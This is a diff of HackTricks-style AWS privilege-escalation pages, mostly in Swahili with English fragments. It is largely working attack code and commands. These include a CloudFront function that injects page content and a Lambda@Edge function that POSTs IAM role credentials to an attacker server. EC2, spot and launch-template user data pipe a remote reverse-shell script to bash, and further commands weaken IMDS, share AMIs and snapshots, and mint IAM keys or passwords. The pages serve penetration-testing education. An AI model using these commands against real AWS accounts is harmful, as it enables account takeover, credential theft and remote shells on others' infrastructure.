\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Unda function ya hatari katika CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Pata ETag ya function katika hatua ya DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Chapisha function kwenda hatua ya LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Pakia (zip) kazi ya Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Unda kazi ya Lambda@Edge kwa role yenye vibali vya juu
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Chapisha toleo la kazi ya Lambda@Edge
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Tekeleza usanidi wa distribution uliosasishwa (lazima utumie ETag ya sasa)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Chochea function kwa kuomba distribution
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index d257c680f..799d155de 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Kwa maelezo zaidi kuhusu **EC2**, angalia:
+Kwa **maelezo zaidi kuhusu EC2** angalia:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu **EC2**, angalia:
### `iam:PassRole`, `ec2:RunInstances`
-Mshambulizi anaweza **kuunda instance na kuibandika IAM role kisha kuingilia instance hiyo** ili kuiba kredenshiali za IAM role kutoka kwenye metadata endpoint.
+Mshambulizi anaweza **kuunda instance na kuambatanisha IAM role kisha kupata ufikiaji kwenye instance** ili kuiba nyaraka za IAM role kutoka kwenye metadata endpoint.
- **Ufikiaji kupitia SSH**
-Kendesha instance mpya ukitumia **iliyoundwa** **ssh key** (`--key-name`) kisha uingie kwa ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`).
+Endesha instance mpya ukitumia **iliyotengenezwa** **ssh key** (`--key-name`) na kisha utumie ssh kuingia ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Ufikiaji kupitia rev shell katika user data**
-Unaweza kuendesha instance mpya ukitumia **user data** (`--user-data`) itakayokutumia **rev shell**. Hutahitaji kutaja security group kwa njia hii.
+Unaweza kuendesha instance mpya ukitumia **user data** (`--user-data`) ambayo itakutuma **rev shell**. Huhitaji kutaja security group kwa njia hii.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -40,11 +40,11 @@ Kuwa mwangalifu na GuradDuty ikiwa utatumia credentials za IAM role nje ya insta
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Athari Inayoweza Kutokea:** Direct privesc kwa EC2 role yoyote iliyounganishwa na instance profiles zilizopo.
+**Athari Inayowezekana:** Direct privesc kwa EC2 role yoyote iliyounganishwa na existing instance profiles.
-#### Privesc kwa ECS
+#### Privesc to ECS
-Kwa seti hii ya ruhusa unaweza pia **kuunda EC2 instance na kuiandikisha ndani ya ECS cluster**. Kwa njia hii, ECS **services** zita**endeshwa** ndani ya **EC2 instance** ambayo una upatikanaji kwake, na kisha unaweza kuingilia huduma hizo (docker containers) na **kuiba ECS roles zao zilizounganishwa**.
+Kwa seti hii ya ruhusa unaweza pia **create an EC2 instance and register it inside an ECS cluster**. Kwa njia hii, ECS **services** zita**run** ndani ya **EC2 instance** unayoweza kufikia, kisha unaweza kuingia kwenye services hizo (docker containers) na **steal their ECS roles attached**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-To learn how to **force ECS services to be run** in this new EC2 instance check:
+Ili kujifunza jinsi ya **kulazimisha huduma za ECS ziendeshwe** katika EC2 instance mpya hii angalia:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
+Ikiwa **huwezi kuunda instance mpya** lakini una ruhusa `ecs:RegisterContainerInstance` huenda ukaweza kusajili instance ndani ya cluster na kufanya attack iliyotajwa.
-**Potential Impact:** privesc ya moja kwa moja kwa ECS roles zilizounganishwa na tasks.
+**Athari Inayoweza Kuhusiana:** Direct privesc to ECS roles attached to tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Kama katika senario iliyotangulia, mshambuliaji akiwa na ruhusa hizi anaweza **kubadilisha IAM role ya instance iliyobebwa** ili aweze kuiba kredenshali mpya.\
-Kwa kuwa instance profile inaweza kuwa na role moja tu, ikiwa instance profile **tayari ina role** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**.
+Kama katika senario ya awali, attacker akiwa na ruhusa hizi anaweza **kubadilisha IAM role ya compromised instance** ili aweze kuiba credentials mpya.\
+Kwa kuwa instance profile inaweza kuwa na role 1 tu, ikiwa instance profile **tayari ina role** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,36 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Ikiwa **instance profile ina role** na attacker **hawezi kuiondoa**, kuna suluhisho jingine.
+If the **instance profile ina role** na mshambulizi **hawezi kuiondoa**, kuna mbinu nyingine. Anaweza **kutafuta** **instance profile bila role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwenye hiyo **instance profile** (kama ilivyohitimishwa hapo awali), na **kuhusisha instance profile** iliyodukuliwa na **instance** iliyodukuliwa:
-Anaweza **kutafuta** **instance profile bila role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwa **instance profile** hiyo (kama ilivyojadiliwa hapo awali), na **kuhusisha instance profile** iliyovamiwa kwa i**nstance:** iliyovamiwa:
-
-- Ikiwa instance **haina instance yoyote** profile (`ec2:AssociateIamInstanceProfile`)
+- Ikiwa **instance** haina **instance profile** yoyote (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Athari Inayowezekana:** Direct privesc kwa role tofauti ya EC2 (unahitaji kuwa umetekwa AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile).
+**Athari Inayowezekana:** Direct privesc kwa EC2 role tofauti (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au status maalum ya instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, hivyo ikiwa mshambuliaji tayari alikuwa na ufikiaji wa instance atakuwa na uwezo wa kuiba credentials za role zaidi za instance profile kwa kubadilisha ile inayohusishwa nayo.
+Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, kwa hivyo kama mshambuliaji tayari alikuwa na ufikiaji wa instance, atakuwa na uwezo wa kuiba credentials za roles zaidi za instance profile kwa kubadilisha ile inayohusishwa nayo.
-- Ikiwa **ina instance profile**, unaweza **kuondoa** instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuihusisha** it
+- Ikiwa ina **instance profile**, unaweza **kuondoa** instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuihusisha tena**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- au **badilisha** **instance profile** ya instance iliyotekwa (`ec2:ReplaceIamInstanceProfileAssociation`).
+- au **badilisha** **instance profile** ya instance iliyodukuliwa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja kwa EC2 role tofauti (unahitaji kuwa umeshapata udhibiti wa instance ya AWS EC2 na ruhusa za ziada au hali maalum ya instance profile).
+**Potential Impact:** Direct privesc to a different EC2 role (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Mshambuliaji mwenye ruhusa **`ec2:RequestSpotInstances`and`iam:PassRole`** anaweza **kuomba** **Spot Instance** yenye **EC2 Role attached** na **rev shell** katika **user data**.\
-Mara instance itakapokimbia, anaweza **kuiba the IAM role**.
+Mara instance ikianza, anaweza **kuiba IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instance. Miongoni mwa hizo, anaweza **kubadilisha user data**, jambo linalomaanisha anaweza kufanya instance **itekeleze data yoyote.** Hii inaweza kutumika kupata **rev shell kwa EC2 instance**.
+Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instance. Miongoni mwa hizo, anaweza **change the user data**, jambo linalomaanisha anaweza kufanya instance **run arbitrary data.** Hii inaweza kutumika kupata **rev shell to the EC2 instance**.
-Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, kwa hivyo inahitaji **ruhusa** **`ec2:StopInstances`** na **`ec2:StartInstances`**.
+Kumbuka kwamba sifa zinaweza tu **modified while the instance is stopped**, kwa hivyo inahitaji ruhusa **`ec2:StopInstances`** na **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Athari Inayoweza Kutokea:** Direct privesc kwa EC2 IAM Role yoyote iliyounganishwa na instance iliyotengenezwa.
+**Madhara Yanayowezekana:** privesc ya moja kwa moja kwa EC2 IAM Role yoyote iliyounganishwa na instance iliyoundwa.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` na `ec2:ModifyLaunchTemplate`** anaweza kuunda **toleo jipya la Launch Template** lenye **rev shell katika** **user data** na **EC2 IAM Role yoyote juu yake**, kubadilisha **default version**, na **kundi yoyote la Autoscaler** **linalotumia** huo **Launch Template** ambalo **limepangwa** kutumia **latest** au **default version** litarudia kuendesha tena **instances** kwa kutumia template hiyo na itaendesha rev shell.
+Mshambuliaji mwenye ruhusa **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** anaweza kuunda **new Launch Template version** yenye **rev shell in** the **user data** na **any EC2 IAM Role on it**, kubadilisha default version, na **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** itatarudisha **re-run the instances** zinapotumia template hiyo na itatekeleza rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Athari Inayowezekana:** Privesc ya moja kwa moja kwa EC2 role tofauti.
+**Madhara Yanayoweza Kutokea:** Direct privesc to a different EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **create a Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **create an autoscaling group** kutoka kwa config hiyo na kusubiri rev shell ili **steal the IAM Role**.
+Mshambuliaji akiwa na ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Launch Configuration** yenye **IAM Role** na **rev shell** ndani ya **user data**, kisha **kuunda autoscaling group** kutoka kwa config hiyo na kusubiri rev shell **kuiba IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -198,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Athari Inayoweza Kutokea:** Privesc ya moja kwa moja kwa role tofauti ya EC2.
+**Athari Inayowezekana:** Privesc ya moja kwa moja kwenda kwenye role tofauti ya EC2.
### `!autoscaling`
-Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** hazitoshi ku-escalate privileges hadi kwa role ya IAM kwa sababu ili kufunga role iliyotajwa katika Launch Configuration au Launch Template unahitaji ruhusa **`iam:PassRole`** na **`ec2:RunInstances`** (ambayo ni privesc inayojulikana).
+Mseto wa ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kuinua vibali** kwa IAM role kwa sababu ili kuambatisha role iliyotajwa katika Launch Configuration au Launch Template **unahitaji ruhusa `iam:PassRole` and `ec2:RunInstances`** (ambayo ni privesc inayojulikana).
### `ec2-instance-connect:SendSSHPublicKey`
-Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa ssh kwa mtumiaji na kuutumia kuingia (ikiwa ana ufikiaji wa ssh kwenye instance) au kupata privesc.
+Mshambulizi aliye na ruhusa **`ec2-instance-connect:SendSSHPublicKey`** anaweza kuongeza ufunguo wa SSH kwa mtumiaji na kuitumia kuingia (ikiwa ana ufikiaji wa SSH kwa instance) au kuinua vibali.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Madhara Yanayoweza Kutokea:** Direct privesc kwa EC2 IAM roles zilizoambatanishwa na instances zinazoendesha.
+**Athari Inayowezekana:** Privesc ya moja kwa moja kwa EC2 IAM roles zilizoambatishwa kwenye running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ssh key kwa muunganisho wa serial**. Ikiwa serial haijawezeshwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwezesha**.
+Mshambuliaji mwenye ruhusa **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** anaweza **kuongeza ssh key kwenye serial connection**. Ikiwa serial haijawezeshwa, mshambuliaji anahitaji ruhusa **`ec2:EnableSerialConsoleAccess` ili kuiwezesha**.
-Ili kuunganishwa na port ya serial pia **unahitaji kujua jina la mtumiaji na nywila ya mtumiaji** ndani ya mashine.
+Ili kuunganishwa kwenye serial port pia **unahitaji kujua username na password ya user** ndani ya mashine.
```bash
aws ec2 enable-serial-console-access
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Njia hii si ya muhimu sana kwa privesc kwa kuwa unahitaji kujua username na password ili kui exploit.
+Njia hii si ya msaada mkubwa kwa privesc kwa sababu unahitaji kujua username na password ili kuiexploit.
-**Potential Impact:** (Hawezi kuthibitishwa kwa urahisi) Privesc ya moja kwa moja kwa EC2 IAM roles zilizoambatishwa kwa instances zinazotumika.
+**Athari Inayoweza Kutokea:** (Vigumu kabisa kuthibitisha) privesc ya moja kwa moja kwa EC2 IAM roles zilizounganishwa na instances zinazoendesha.
### `describe-launch-templates`,`describe-launch-template-versions`
-Kwa kuwa launch templates zina versioning, mshambuliaji akiwa na ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia ili kugundua taarifa nyeti, kama vile credentials zilizopo katika user data. Ili kufanikisha hili, script ifuatayo inazunguka kupitia matoleo yote ya launch templates zilizopo:
+Kwa kuwa launch templates zina versioning, mshambuliaji mwenye ruhusa za **`ec2:describe-launch-templates`** na **`ec2:describe-launch-template-versions`** anaweza kuzitumia kugundua taarifa za siri, kama vile credentials zilizomo katika user data. Ili kufanya hivyo, script ifuatayo inapitia matoleo yote ya launch templates zilizopo:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,22 +250,27 @@ done
```
Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti.
-Kama tukigundua `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia cheti hizi kuthibitisha utambulisho kwenye AWS.
+Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia credentials hizi kuthibitisha kwenye AWS.
-**Athari Inayowezekana:** Direct privilege escalation to IAM user(s).
+**Athari Inayoweza Kutokea:** Direct privilege escalation kwa mtumiaji(wa) wa IAM.
## Marejeo
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-Mshambulizi mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye instance ya EC2 ya mwathiri anaweza kudhoofisha kinga za IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya instance metadata kufikiwa kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazoendesha kwenye instance. Ikiwa mshambulizi anaweza kusababisha SSRF katika programu kama hiyo, wanaweza kupata credentials za instance profile na kuzipitisha (pivot) nayo.
-- Ruhusa zinazohitajika: `ec2:ModifyInstanceMetadataOptions` kwenye instance lengwa (pamoja na uwezo wa kufikia/kusababisha SSRF kwenye host).
-- Rasilimali lengwa: instance ya EC2 inayotumika yenye instance profile iliyounganishwa (IAM role).
-Mfano wa amri:
+
+
+### `ec2:ModifyInstanceMetadataOptions` (IMDS kupunguza kinga ili kuwezesha SSRF kuiba credentials)
+
+Mshambulizi mwenye uwezo wa kuita `ec2:ModifyInstanceMetadataOptions` kwenye EC2 instance ya mwathiriwa anaweza kudhoofisha kinga za IMDS kwa kuwezesha IMDSv1 (`HttpTokens=optional`) na kuongeza `HttpPutResponseHopLimit`. Hii inafanya endpoint ya instance metadata ipatikane kupitia njia za kawaida za SSRF/proxy kutoka kwa programu zinazoendesha kwenye instance. Ikiwa mshambulizi anaweza kusababisha SSRF katika programu hiyo, anaweza kupata instance profile credentials na pivot kwa kutumia hizo.
+
+- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (pamoja na uwezo wa kufikia/kusababisha SSRF kwenye mwenyeji).
+- Target resource: The running EC2 instance with an attached instance profile (IAM role).
+
+Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -294,5 +297,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Athari Inayoweza Kutokea: Wizi wa instance profile credentials kupitia SSRF unaopelekea privilege escalation na lateral movement kwa ruhusa za EC2 role.
+Athari Inayoweza Kutokea: Uibi wa instance profile credentials kupitia SSRF unaosababisha privilege escalation na lateral movement kwa ruhusa za role ya EC2.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Mshambuliaji mwenye ruhusa ya ec2:ModifyInstanceMetadataOptions anaweza kudhoofisha ulinzi wa Instance Metadata Service (IMDS) — kwa mfano kwa kulazimisha IMDSv1 (kufanya HttpTokens zisihitajike) au kuongeza HttpPutResponseHopLimit — na hivyo kurahisisha kuondoa kwa siri kwa temporary credentials. Vector ya hatari inayohusiana zaidi ni kuongeza HttpPutResponseHopLimit: kwa kuongezeka kwa hop limit hiyo (TTL), endpoint 169.254.169.254 haibaki kufungwa kwa network namespace ya VM pekee na inaweza kufikiwa na michakato/containers nyingine, hivyo kuwezesha wizi wa credentials.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Mshambuliaji mwenye ruhusa za ec2:ModifyImageAttribute na ec2:ModifySnapshotAttribute anaweza kushiriki AMIs au snapshots na akaunti nyingine za AWS (au hata kuzifanya za umma), akifichua images au volumes ambazo zinaweza kuwa na data nyeti kama configurations, credentials, certificates, au backups. Kwa kubadilisha launch permissions za AMI au create-volume permissions za snapshot, mshambuliaji anawawezesha wadau wengine ku-launch instances au ku-mount disks kutoka kwa rasilimali hizo na kufikia yaliyomo.
+
+Ili kushiriki AMI na akaunti nyingine:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Ili kushiriki EBS snapshot na akaunti nyingine:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index c36f013a7..848b2af02 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,38 +12,38 @@ Kwa maelezo zaidi kuhusu IAM angalia:
### **`iam:CreatePolicyVersion`**
-Inampa uwezo wa kuunda toleo jipya la sera ya IAM, akiuka haja ya ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa zilizobinafsishwa.
+Inampa uwezo wa kuunda toleo jipya la sera ya IAM, kuepuka haja ya ruhusa `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa maalum.
-**Amri ya Exploit:**
+**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Athari:** Inaongeza mamlaka moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
+**Athari:** Huinua ruhusa moja kwa moja kwa kuruhusu kitendo chochote juu ya rasilimali yoyote.
### **`iam:SetDefaultPolicyVersion`**
-Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine linalokuwepo, ambalo linaweza kuinua mamlaka ikiwa toleo jipya lina ruhusa zaidi.
+Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine lililopo, jambo ambalo linaweza kusababisha kuongezeka kwa ruhusa ikiwa toleo jipya lina ruhusa zaidi.
-**Amri ya Bash:**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impact:** Kupandishwa kwa vibali kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.
+**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuwezesha ruhusa zaidi.
### **`iam:CreateAccessKey`**
-Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, jambo ambalo linaweza kusababisha kupandishwa kwa vibali.
+Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, kuchangia uwezekano wa privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Athari:** Direct privilege escalation by assuming another user's extended permissions.
+**Athari:** Kupandishwa kwa vibali kwa njia ya moja kwa moja kwa kuchukua nafasi ya vibali vilivyopanuliwa vya mtumiaji mwingine.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Inaruhusu kuunda au kusasisha login profile, ikiwa ni pamoja na kuweka passwords kwa AWS console login, na kusababisha direct privilege escalation.
+Inaruhusu kuunda au kusasisha login profile, ikiwa ni pamoja na kuweka nywila kwa ajili ya AWS console login, na kusababisha kupandishwa kwa vibali kwa njia ya moja kwa moja.
**Exploit for Creation:**
```bash
@@ -55,21 +55,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Athari:** Kupandishwa hadhi kwa moja kwa moja kwa kuingia kama mtumiaji "any".
+**Athari:** Direct privilege escalation kwa kuingia kama mtumiaji "any".
### **`iam:UpdateAccessKey`**
-Inaruhusu kuwezesha access key iliyozimwa, jambo ambalo linaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambuliaji anamiliki access key hiyo iliyozimwa.
